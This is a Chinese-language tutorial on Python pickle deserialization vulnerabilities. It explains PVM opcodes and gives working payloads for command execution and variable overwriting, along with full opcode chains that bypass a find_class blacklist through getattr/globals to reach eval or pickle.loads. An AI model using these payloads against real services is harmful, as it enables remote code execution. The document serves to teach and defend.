Pickle反序列化

前置知识

什么是Pickle?

pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。

当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal存在主要是为了支持 Python 的.pyc文件。现在开发时一般首选pickle。

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。

Pickle模块使用示例

下面我们来看一个简单的例子

import pickle

class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"

p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'


P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle

这里我创建了一个Person类,其中有两个属性age和name。我首先使用了pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

能够序列化的对象

在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)

对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError 异常。

pickle模块常见方法及接口

pickle.dump(obj, file, protocol=None, *, fix_imports=True)

将打包好的对象 obj 写入文件中,其中protocol为pickling的协议版本(下同)。

pickle.dumps(obj, protocol=None, *, fix_imports=True)

obj 打包以后的对象作为bytes类型直接返回。

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

从文件中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

从data中读取二进制字节流,将其反序列化为一个对象并返回。

object.__reduce__()

__reduce__()其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...

Pickle反序列化漏洞

在上一节中,我们提到了Pickle中一个不安全的因素——反序列化未知的二进制字节流。原因是该字节流可能包含被精心构造的恶意代码,此时如果我们使用pickle.loads()方法unpickling,就会导致恶意代码的执行。

我们来看下面的例子

import pickle
import os

class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"
    def __reduce__(self):
        command=r"whoami"
        return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(opcode)

P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

我在Person类中加入了__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。因此当上述的Person对象被unpickling时,就会执行os.system(command),结果如下

上述的demo就是对Pickle反序列化漏洞一个直观的描述。不过该漏洞的利用方式远不止此,想要进一步深入该漏洞,我们就需要了解pickle的工作原理。

Pickle工作原理

我们上文提到了,其实pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

pickle协议是向前兼容的,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以V0版本为例,介绍一下常见的opcode

常用opcode

在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例

指令描述具体写法栈上的变化
c 获取一个全局对象或import一个模块c[module]\n[instance]\n获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个NoneN获得的对象入栈
S实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象 Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R 函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组) 空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)d MARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n
g将memo_n的对象压栈gn\n 对象被压栈
0丢弃栈顶对象0 栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b 栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

PVM工作流程

下面有两张动图,很直观地描述了PVM的工作流程

  • PVM解析 str 的过程
  • PVM解析 __reduce__() 的过程

这里我们举一个简单的例子,假如我们有如下操作码

opcode=b'''cos
system
(S'whoami'
tR.'''

cos
system   #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack

(S'ls'   #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack

tR.      #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')

#字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值

结果如下

import pickle

opcode=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

#xiaoh\34946

pickletools

我们可以使用pickletools模块,将opcode转化成方便我们阅读的形式,如下所示

import pickletools

opcode=b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)

###
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'whoami'
   22: t        TUPLE      (MARK at 11)
   23: R    REDUCE
   24: .    STOP
highest protocol among opcodes = 0

漏洞利用方式

命令执行

在上文我们已经提到了,我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式了。

在opcode中,.是程序结束的标志。我们可以通过去掉.来将两个字节流拼接起来

import pickle

opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

#结果如下
xiaoh\34946
xiaoh\34946

当然,在pickle中,和函数执行的字节码有三个:Rio,所以我们可以从三个方向构造paylaod

  • R
opcode1=b'''cos
system
(S'whoami'
tR.'''
  • i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode2=b'''(S'whoami'
ios
system
.'''
  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode3=b'''(cos
system
S'whoami'
o.'''
注意
部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

实例化对象

实例化对象也是一种特殊的函数执行,我们同样可以通过手写opcode来构造

import pickle

class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name


opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''

p=pickle.loads(opcode)
print(p)
print(p.age,p.name)

###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle

以上opcode相当于手动执行了构造函数Person(18,'Pickle')

变量覆盖

在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。

假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造。

#secret.py
secret="This is a key"
import pickle
import secret

print("secret变量的值为:"+secret.secret)

opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)

print("secret变量的值为:"+fake.secret)

###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

我们首先通过c来获取__main__.secret模块,然后将字符串secretHack!!!压入栈中,然后通过字节码d将两个字符串组合成字典{'secret':'Hack!!!'}的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key",是以{'secret':'This is a key'}形式存储的。最后再通过字节码b来执行__dict__.update(),即{'secret':'This is a key'}.update({'secret':'Hack!!!'}),因此最终secret变量的值被覆盖成了Hack!!!

Pker工具的使用

Pker是什么

pker是由@eddieivan01编写的以遍历Python AST的形式来自动化解析pickle opcode的工具。

Pker可以做到什么

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

使用方法与实例

pker最主要的有三个函数GLOBAL()INST()OBJ()

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls')         =>  (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls')  =>  (cos\nsystem\nS'ls'\no

return可以返回一个对象

return           =>  .
return var       =>  g_\n.
return 1         =>  I1\n.

当然你也可以和Python的正常语法结合起来,下面是使用示例

#pker_test.py

i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py

b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."

自动解析并生成了我们所需的opcode。

更多的使用方法可以参考官方repo

官方修复建议

对于pickle反序列化漏洞,官方的第一个建议就是永远不要unpickle来自于不受信任的或者未经验证的来源的数据。第二个就是通过重写Unpickler.find_class()来限制全局变量,我们来看官方的例子

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)


###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

以上例子通过重写Unpickler.find_class()方法,限制调用模块只能为builtins,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle时的安全性。

不过,假如Unpickler.find_class()中对于模块和函数的限制不是那么严格的话,我们仍然有可能绕过其限制。

绕过RestrictedUnpickler限制

想要绕过find_class,我们则需要了解其何时被调用。在官方文档中描述如下

出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同,Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。

在opcode中,ci\x93这三个字节码与全局对象有关,当出现这三个字节码时会调用find_class,当我们使用这三个字节码时不违反其限制即可。

绕过builtins

在一些例子中,我们常常会见到module=="builtins"这一限制,比如官方文档中的例子,只允许我们导入builtins这一模块

if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)

那么什么是builtins模块呢?

当我们启动Python之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,如

>>>int(1)
1

上述这类函数被我们称为”内置函数”,这其实就是builtins模块的功劳,这些内置函数都是包含在builtins模块内的。而Python解释器在启动时已经自动帮我们导入了builtins模块,所以我们自然就可以使用这些内置函数了。

我们可以通过for i in sys.modules['builtins'].__dict__:print(i)来查看该模块中包含的所有模块函数等,大致如下

假如内置函数中一些执行命令的函数也被禁用了,而我们仍想命令执行,那么漏洞的利用思路就类似于Python中的沙箱逃逸。

我们来看下面一个例子,这是code-breaking 2018 picklecode中的一个例子

import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

代码使用了Unpickler.find_class()限制了使用的模块只能为builtins,并且禁用了内置的危险函数,这时我们应该怎么利用呢?

思路一

我们可以借鉴Python沙箱逃逸的思路,获取我们想要的函数。代码没有禁用getattr()函数,getattr可以获取对象的属性值。因此我们可以通过builtins.getattr(builtins,'eval')的形式来获取eval函数

接下来我们得构造出一个builtins模块来传给getattr的第一个参数,我们可以使用builtins.globals()函数获取builtins模块包含的内容

import builtins
print(builtins.globals())

可见builtins模块中仍包含builtins模块。由于返回的结果是个字典,所以我们还需要获取get()函数

最终构造的payload为builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)

思路有了,下面就是手写opcode了。首先获取get函数

import pickle
import pickletools

opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''
pickletools.dis(opcode)
print(pickle.loads(opcode))

###结果如下
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins dict'
   34: S        STRING     'get'
   41: t        TUPLE      (MARK at 18)
   42: R    REDUCE
   43: .    STOP
highest protocol among opcodes = 0
<method 'get' of 'dict' objects>

然后获取globals()字典

import pickle
import pickletools

opcode2=b'''cbuiltins
globals
)R.
'''

pickletools.dis(opcode2)
print(pickle.loads(opcode2))

###结果如下
    0: c    GLOBAL     'builtins globals'
   18: )    EMPTY_TUPLE
   19: R    REDUCE
   20: .    STOP
highest protocol among opcodes = 1
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001EF06A308B0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:/Users/34946/Desktop/安全学习/Pickle_Learning/Pickle_builtins1.py', '__cached__': None, 'pickle': <module 'pickle' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickle.py'>, 'pickletools': <module 'pickletools' from 'C:\\Users\\34946\\AppData\\Local\\Programs\\Python\\Python38\\lib\\pickletools.py'>, 'opcode1': b"cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR.\n", 'opcode2': b'cbuiltins\nglobals\n)R.\n'}

现在我们有了get(),有了globals()字典,把他们组合起来我们就能够获取builtins模块了

import pickle
import pickletools

opcode3=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''

#以上opcode相当于执行了builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins')

pickletools.dis(opcode3)
print(pickle.loads(opcode3))

###结果如下
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins dict'
   34: S        STRING     'get'
   41: t        TUPLE      (MARK at 18)
   42: R    REDUCE
   43: (    MARK
   44: c        GLOBAL     'builtins globals'
   62: (        MARK
   63: t            TUPLE      (MARK at 62)
   64: R        REDUCE
   65: S        STRING     'builtins'
   77: t        TUPLE      (MARK at 43)
   78: R    REDUCE
   79: .    STOP
highest protocol among opcodes = 0
<module 'builtins' (built-in)>

最后我们再调用获取到的builtins的eval函数即可

import pickle

opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''

print(pickle.loads(opcode4))

###
<built-in function eval>

最后命令执行的结果如下

import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)

###
xiaoh\34946

当然,以上payload只是一种方法,Python沙箱逃逸的方法还有很多,但思想都大同小异。当我们在在绕过find_class时,我们最好先构造出沙箱逃逸的payload,然后再根据payload构造opcode即可。

当然,如果不想手写opcode的话,也可以使用pker工具来辅助生成opcode

#payload.py

#获取getattr函数
getattr = GLOBAL('builtins', 'getattr')
#获取字典的get方法
get = getattr(GLOBAL('builtins', 'dict'), 'get')
#获取globals方法
golbals=GLOBAL('builtins', 'globals')
#获取字典
builtins_dict=golbals()
#获取builtins模块
__builtins__ = get(builtins_dict, '__builtins__')
#获取eval函数
eval=getattr(__builtins__,'eval')
eval("__import__('os').system('whoami')")
return
C:\Users\34946\Desktop\安全学习\Pickle_Learning>python3 pker.py < pker_test.py
b"cbuiltins\ngetattr\np0\n0g0\n(cbuiltins\ndict\nS'get'\ntRp1\n0cbuiltins\nglobals\np2\n0g2\n(tRp3\n0g1\n(g3\nS'__builtins__'\ntRp4\n0g0\n(g4\nS'eval'\ntRp5\n0g5\n(S'__import__(\\'os\\').system(\\'whoami\\')'\ntR."

思路二

在思路一中,我们通过getattr(builtins,'eval')来获取到了内置函数eval(),getattr的第一个参数——builtins模块,是通过获取globals()中的全局变量得到的。也就是说,globals()函数中含有Python中提前设置好的全局变量,包括我们import的各种模块,那么我们是否可以通过globals()函数来获取pickle模块呢?我们实验一下便知

import pickle
import secret
import builtins
print(builtins.globals())

###
{..., 'pickle': <module 'pickle' from 'C:\\...\\Python\\Python38\\lib\\pickle.py'>, 'secret': <module 'secret' from 'C:\\...\\Pickle_Learning\\secret.py'>, 'builtins': <module 'builtins' (built-in)>}

可以看到,globals()函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()来绕过find_class()了。

不过值得注意的是,由于pickle.loads()的参数需要为byte类型。而在Protocol 0中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class限制。

import pickle
import pickletools

b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)

###
   0: c    GLOBAL     '_codecs encode'
   16: p    PUT        0
   19: (    MARK
   20: V        UNICODE    'abcdef'
   28: p        PUT        1
   31: V        UNICODE    'latin1'
   39: p        PUT        2
   42: t        TUPLE      (MARK at 19)
   43: p    PUT        3
   46: R    REDUCE
   47: p    PUT        4
   50: .    STOP
highest protocol among opcodes = 0

直到Protocol 3版本,Python才引入了BC两个字节码来标识byte类型

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes
import pickle
import pickletools

b=b'abcdef'
opcode=pickle.dumps(b,protocol=0)
pickletools.dis(opcode)

###
    0: \x80 PROTO      3
    2: C    SHORT_BINBYTES b'abcdef'
   10: q    BINPUT     0
   12: .    STOP
highest protocol among opcodes = 3

可以看到此时pickle对于byte类型变量的支持精简了很多。所以当我们想利用pickle.loads()来绕过find_class时,最好选择Protocol 3版本的opcode构造。

下面我们就来一步步构造Protocol 3版本的Payload

首先获取get函数

import pickle
import builtins
import pickletools

class Op:
    def __reduce__(self):
        return (getattr,(builtins.dict,'get',))

op=Op()
opcode=pickle.dumps(op,protocol=3)
print(opcode)
pickletools.dis(opcode)

###
b'\x80\x03cbuiltins\ngetattr\nq\x00cbuiltins\ndict\nq\x01X\x03\x00\x00\x00getq\x02\x86q\x03Rq\x04.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins getattr'
   20: q    BINPUT     0
   22: c    GLOBAL     'builtins dict'
   37: q    BINPUT     1
   39: X    BINUNICODE 'get'
   47: q    BINPUT     2
   49: \x86 TUPLE2
   50: q    BINPUT     3
   52: R    REDUCE
   53: q    BINPUT     4
   55: .    STOP
highest protocol among opcodes = 2

其中有很多q\0xn字节码,实际测试去掉也是可以的

BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg

构造思路和Protocol 0类似,我们构造出pickle.loads()函数

import pickle

opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntR."
print(pickle.loads(opcode))

###
<built-in function loads>

接着我们生成要执行的Payload

import pickle
import os

class Command:
    def __reduce__(self):
        command="whoami"
        return (os.system,(command,))

op=Command()
opcode=pickle.dumps(op,protocol=0)
print(opcode)

###
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

由于loads()函数接受的是byte类型参数,为了方便构造,我们先手动看一下pickle.loads(payload)的字节码,方便我们后续构造

import pickle
import pickletools

class bin:
    def __reduce__(self):
        return (pickle.loads,(b'''cos\nsystem\n(S'whoami'\ntR.''',))

b=bin()
# b=b'abcdef'
opcode=pickle.dumps(b,protocol=3)
print(opcode)
pickletools.dis(opcode)

###
b"\x80\x03c_pickle\nloads\nq\x00C\x19cos\nsystem\n(S'whoami'\ntR.q\x01\x85q\x02Rq\x03."
    0: \x80 PROTO      3
    2: c    GLOBAL     '_pickle loads'
   17: q    BINPUT     0
   19: C    SHORT_BINBYTES b"cos\nsystem\n(S'whoami'\ntR."
   46: q    BINPUT     1
   48: \x85 TUPLE1
   49: q    BINPUT     2
   51: R    REDUCE
   52: q    BINPUT     3
   54: .    STOP
highest protocol among opcodes = 3

这里使用了字节码C代表byte类型,然后后面跟上数据长度的十六进制即可,我们将加粗部分C\x19cos\nsystem\n(S'whoami'\ntR.和上文构造好的pickle.loads()函数合并即可,完整payload如下。

opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."

测试绕过

import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

opcode2=opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntRC\x19cos\nsystem\n(S'whoami'\ntR.\x85R."
restricted_loads(opcode2)

###
xiaoh\34946

思路二虽然相比思路一稍许麻烦,但是我们通过构造pickle.loads()来unpickle任意opcode。虽然find_class会对字节码c导入模块的时候进行检查,但我们构造pickle.loads()时并没有违反find_class的规则。并且当调用我们构造的字节码形式的pickle.loads(payloads)时,并不会触发find_class。所以只要我们能够构造出pickle.loads(),理论上我们是可以执行任意字节码的。

绕过R指令

以上方法虽然能够绕过对module和一些危险函数的限制,但本质上仍然是对__reduce__函数的延伸。倘若将字节码R也禁用了,那我们怎么进行RCE呢?

如果你还记得我上文所说的pickle漏洞命令执行的几种方法的话,你肯定能立即想到和函数执行有关的字节码Rio。实际上,如果没有R指令,我们同样能够进行函数执行。有下面这样一个例子

import pickle
import stao


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category


    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(stao.name,stao.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(stao.name,stao.age))
#stao.py

name="stao"
age=18

这里禁用了R指令,但是我们仍有方法初始化一个Animal对象。我在上文提到过,使用R指令实例化对象的过程,实际上就是调用构造函数的过程,本质上也是函数执行,所以我们同样能够使用其他指令绕过。

i指令

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

opcode=b'''(S'stao'
I18
i__main__
Animal
.'''

o指令

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

opcode=b'''(c__main__
Animal
S'stao'
I18
o.'''

假如这里我们不知道stao模块的内容,我们可以通过变量覆盖的方式将原有stao中的变量覆盖掉。

opcode=b'''c__main__
stao
(S'name'
S'Hacker'
S'age'
I18
db(c__main__
Animal
S'Hacker'
I18
o.'''

b指令

其实我们在上文已经使用过了b指令,当时他的作用是用来更新栈上的一个字典进行变量覆盖。实际上官方对它的解释是BUILD,当PVM解析到b指令时执行__setstate__或者__dict__.update()

BUILD          = b'b'   # call __setstate__ or __dict__.update()

那什么是__setstate__呢?官方文档中,如果想要存储对象的状态,就可以使用__getstat____setstat__方法。由于pickle同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')

我们来看下面的例子

import pickle

class Person:
    def __init__(self, name, age=0):
        self.name = name
        self.age = age

    def __str__(self):
        return f"name: {self.name}\nage: {self.age}"


class Child(Person):
    def __setstate__(self, state):
        print("invoke __setstate__")
        self.name=state
        self.age=10

    def __getstate__(self):
        print("invoke __getstate__")
        return "Child"


c1=Child("TEST")
print(c1)
#name: TEST
#age: 0


opcode=pickle.dumps(c1,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'

c2=pickle.loads(opcode)
print(c2)
#invoke __setstate__
#name: Child
#age: 10

当对象被序列化时调用__getstate__,被反序列化时调用__setstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate____setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__

在pickle源码中,字节码b对应的是load_build()函数

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        #首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
        inst = stack[-1]
